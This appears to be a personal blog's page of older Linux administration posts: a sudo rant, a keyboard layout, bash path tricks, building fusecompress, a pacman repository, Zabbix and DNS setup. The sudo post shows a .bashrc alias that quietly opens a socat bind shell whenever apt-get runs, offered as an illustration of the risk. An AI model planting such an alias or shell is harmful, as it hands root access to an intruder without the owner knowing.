Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

2012-10-20

Why I Hate sudo

I make no secret of my thoughts on the sudo program. I probably wouldn't go so far as to call it a steaming pile of rubbish, but there was nothing wrong with su, and there's everything wrong with how sudo is implemented. Also, we now have an attack surface that's significantly more than twice as large.

Take, for example, the following commands:

$ sudo -s
# apt-get install some_awesome_thing_i_heard_about_on_teh_intartubes

Aside from the dubious source of the program, it seems pretty legit. But, take into account the following line from the poor user's .bashrc file:

alias apt-get='(socat tcp-listen:9999,reuseaddr exec:/bin/sh,stderr,sighup,sigint,sigquit >/dev/null 2>&1 &); /usr/bin/apt-get'

So, thanks to sudo, you can own an entire system only by compromising a single user's account. Ah, such convenience.

(nb: if you don't know about socat, go rtfm. It is ALL the kinds of awesome.)

:wq

2012-02-26

Of Keyboard Maps and あおえう

I picked up a new keyboard today. After searching around for a while, I determined that there are no US layout keyboards in my price range in Japan. So, I picked up a manly pink keyboard, instead.

A pink keyboard. Manly pink.
The layout, not surprisingly, is a JP-106 key. Unfortunately, I didn't have a handy layout for Dvorak on a JP-106 (not to be confused with Japanese Dvorak), so I did a little searching and found exactly what I wanted on the intartubes: Dvorak JP-106 Layout. This is especially awesome because there are layouts for both X and the Linux console.

There's only one change that I would make, and that's to make the key to the right of "A" another Control, like God intended.

:wq

2011-05-17

Now where did I put that file...

Hacking on the backup scripts at work, we realized that all the scripts had hard-coded paths to the installation directory. I could have just made the changes on a new branch (actually, I did), but anything that can be done can be overdone.

Original scripts:

#!/bin/sh

. /path/to/here/config

In PHP, I would have just used something along the lines of dirname(__FILE__). Bash kind-of has an analog of __FILE__ with $0, which works great, except that this script is meant to be run from cron:

ln -s /usr/local/bin/backup /etc/cron.daily/

In this instance, $0 is /etc/cron.daily/backup, which obviously isn't going to work correctly.

Turns out, there's a utility readlink for exactly this purpose. If the argument is a symbolic link, it prints just the target to stdout. Otherwise, it exits with error code 1. So, getting dirname(__FILE__) in bash makes the script start out:

#!/bin/sh

. "$(dirname $(readlink $0 || echo $0))/config"

Either $0 is a symlink, and we grab the path to where it points, or it's a real file, and we just echo it. Either way, what gets passed to dirname is a real file, and so we get the correct path whether the script runs from cron, or logged into the shell.

:wq

2011-04-29

Building fusecompress on Centos 5.5

Setting up a backup solution using rdiff-backup, I realized that we would quickly run out of space without compression. Enter fusecompress: a fuse module to transparently compress the files in the filesystem. There's no RPM available for CentOS, but the current version of the code should behave properly on CentOS 6.

First, there are some build dependencies to install. Since lzma compression in fusecompress is so breaky, I decided to compile without it. Development Tools is roughly the equivalent of Debian's build-essential.

yum groupinstall 'Development Tools'
yum install boost boost-devel boost141-iostreams
yum install fuse fuse-devel zlib-devel bzip2-devel lzo-devel

Now get the source from github and compile it; should be easy, right...

su - build
git clone git://github.com/tex/fusecompress.git
cd fusecompress
./configure --with-z --with-bz2 --with-lzo2 --without-lzma
make

Of course, there are complaints. CentOS 5.5 ships with a 2.6.18 kernel, and Boost v1.33.1. Fusecompress uses syscalls from the 2.6.22+ kernel, and Boost v1.44+.

The first step is to backport the Boost v1.44 issues:

git revert 9d5137d7d067151a9822b40e3687b0f645b33937

Then, I coded up implementations of futimens(3) and utimensat(2). These allow nanosecond control of file mtime and ctime attributes. The old versions are now deprecated, and "only" have microsecond precision. These implementations just use the fact that 1ns = 1/1000µs.

#include <fcntl.h>
#include <sys/time.h>

int futimens(int fd, const struct timespec times[2]) {
   struct timeval tv[2];
   tv[0].tv_sec  = times[0].tv_sec;
   tv[0].tv_usec = times[0].tv_nsec / 1000;
   tv[1].tv_sec  = times[1].tv_sec;
   tv[1].tv_usec = times[1].tv_nsec / 1000;

   return futimes(fd, tv);
}

int utimensat(int dirfd, const char *pathname, const struct timespec times[2], int flags) {
   struct timeval tv[2];
   tv[0].tv_sec  = times[0].tv_sec;
   tv[0].tv_usec = times[0].tv_nsec / 1000;
   tv[1].tv_sec  = times[1].tv_sec;
   tv[1].tv_usec = times[1].tv_nsec / 1000;

   return futimesat(dirfd, pathname, tv);
}

Then some hacking of the makefiles to include my new .hpp and .o files in the outputs, and I have a working fusecompress for CentOS 5.5.

:wq

2010-06-07

Setting Up a pacman Repository for Archlinux

Last night, I finally got around to recompiling my own vim binary through abs. I wanted X title bar support, and the python interpreter so that one of these days I can set up PHP debugging with x-debug.

Users of emacs can kindly redirect themselves to /dev/null. </religion>

Everything went off without a hitch; package compiled and installed fine, and I got a bonus gvim package to go with it. (On an unrelated note, anybody want a mint condition gvim package with ruby and python support compiled in? Has never even been opened; I don't even know if it works.) The dependencies are a little off (now requires libxt, ruby 1.9, and python 2.6), but I already had everything installed, so it was fine for me.

Then I went through and installed an ftp server on my latest test box and got the package added to the repository. It turns out that the name of the repo is important, which is a double edged sword. On the plus side, you can host multiple repositories on the same server without the huge directory tree required of other distros (*cough*ubuntu*cough*). On the other hand, it means that it took some trial and error to get the pacman.conf entry right:

[repository-name]
Server = ftp://hostname.example.com/

This actually downloads ftp://hostname.example.com/repository-name.db.tar.gz, which isn't what I would have expected. It's succinct, but means that you have to know the server's internal name for the repo (as opposed to, say, http://archive.ubuntu.com/ubuntu/dists/lucid/main/).

The other gotcha that wasn't clear from the Arch wiki is that the packages and the db file must live in the same directory. It looks like the following should work:

root@mirror:/srv/ftp# repo-add pkgs/vim-7.2-1-i686.pkg.tar.xz repository.db.tar.gz

and everything appears to work perfectly until you try and actually download repository/vim. The db entry doesn't store the full path, so you can simply move pkgs/*.tar.xz into the root of the ftp server and everything will magically start working.

Finally, pure-ftpd >> GNU inetutils ftpd. It supports IPv6, has rate-limiting, throttling, and chroot() built in, and permits anonymous, password-less logins. The motd at client connect I'm not crazy about, but that doesn't show up in pacman, so I don't much care. IPv6, on the other hand, means not having to deal with silly things like NAT. And we all know how well ftp works with NAT (hint: PASV is a hack that can now go the way of IE6).

So, now I have a native IPv6 arch repository that I can packages I compile from abs into. Let the hacking begin!

For those interested in what I'm up to:

[tingar]
Server = ftp://ftp.tingar.uni.cx/

:wq

2010-04-26

Monitoring Your Infrastructure with Zabbix

The last time I had an enterprise system monitoring implementation to work with, it was already set up and the organization had been using it for several years.

This time, I got to do a little research and set up a system at home to monitor my various "machines." After playing around with Cacti, I decided that seeing my logs fill with PHP deprecation warnings was a little too scary and started up a zabbix server.

Zabbix definitely takes more resources, both in terms of the server and the machines being monitored. Like everything else, it uses a database backend and has a nice clean web frontend, so no real differences there. By default, you can graph any piece of data you gather (including the version of Zabbix, if you want it), and you can create more complex graphs fairly easily. It took me a few minutes to get a cheap load average graph that works quite well. Paging is actually a more robust "notification" system that supports Email, SMS, Jabber, and custom scripts, so you can extend it to do whatever you can think of (fax? log to a file? print a .pdf from your boss' printer whenever a server goes down?).

For the truly lazy, Zabbix offers a .vmdk built on SuSE that you can just fire up and have a running Zabbix server.

Monitoring, graphing, paging...there are all the same tasks that any monitoring system does.

Where Zabbix's architecture differs from Nagios, Zenoss, Cacti, et. al., is that it's a client-server system. This took me a while to grok, since "client" and "server" aren't what you'd normally expect them to be (think iSCSI). The "Zabbix Server" box dials out to an (access-list restricted) open port on the "client" and retrieves the data from a running service. There's even a Windows version of the client available, if you're into that sort of thing.

This means that there is a daemon running on the client to gather data and send it to the server and a daemon running on the server to periodically go and nab the data from the clients. The clients need to know where to trust connections from (by IP, so watch out if you have AAAA's), and then the hosts have to be manually added to the Zabbix server. For rolling out to an existing infrastructure this is more work than a pure SNMP-monitoring solution that can just scan your network and learn all your hosts.

A side-effect of this is that Zabbix has a proxy server available. You could have a host on each subnet (or at each site) gather all the information, and then submit bulk updates to a central Zabbix server, or implement even more tiers of proxying if your infrastructure requires it.

The biggest "gotcha" to just getting a Zabbix server running is that the front-end isn't necessarily bundled with the server. The only requirement for the web front-end is that it can talk to the database, so you can run the front-end, Zabbix server, and database on 3 different systems if you want to. The front-end is all PHP, so your existing Apache server is more than adequate.

Zabbix also does some basic host-based intrusion detection. If you're going to be running something more beefy (Samhain/Beltane, for example), then this is likely just a waste of cycles. Still, this is leaps and bounds above the option of no host-based intrusion detection.

:wq

2009-08-16

@ IN SOA localdomain. aaron.localdomain.

So, I finally got my networking set up at home a couple months ago. There's a little web interface to add computers to the network, which automatically updates DHCP and DNS and allows them on wireless.

I also have an IPv6 tunnel and auto-configuration for my /48 (rDNS is annoyingly difficult, thanks to comcast).

So, of course, this weekend I got to break it all!

I've been using dnsmasq on my linux server to do DHCP and DNS. Basically, it looks through /etc/hosts and /etc/ethers and figures out the answers to queries from there. It also has support for built-in TFTP and can send the right options to be able to PXE boot computers. Neat.

But, my router is running FreeBSD, and I want to reload my linux box to OpenSolaris. The linux machine is basically a fileserver, so reloading it means I can use ZFS. Here's the overall plan:

  1. reload fileserver
  2. ???
  3. profit

Step 1 requires that I move the infrastructure (DHCP, DNS, TFTP, etc.) onto the router, which I've been meaning to do anyway. I've got linux compatibility mode turned on on the router, so I could probably run dnsmasq on there, but that's not very impressive. Bind9 and ISC dhcpd is a much cooler option.

Enter `svn branch`.

Today, I spent my time rewriting my networking automagic (the scripts, not the daemon) to generate DNS zone files from my networking database. Of course, the cron will still run on the db server, since I don't want to be firing up make and perl on the router every 5 minutes. Sure, I could, but the db would be hella slow. Now I've got DNS running on 2 boxes, and as soon as I figure out all the merging and branching and moving to make it work correctly, I'll be able to shut down the DNS server on linux.

DHCP will, of course, require me to learn yet another config file format, but it looks similar, and I should just have to tweak the scripts a little bit to make them output the new format. The only hard part of dnsmasq -> named was the conversion from /etc/hosts to the IPv6 PTR records. About 30 lines of perl run through the whole shooting match for that; IPv4 is just an extra sed script.

:wq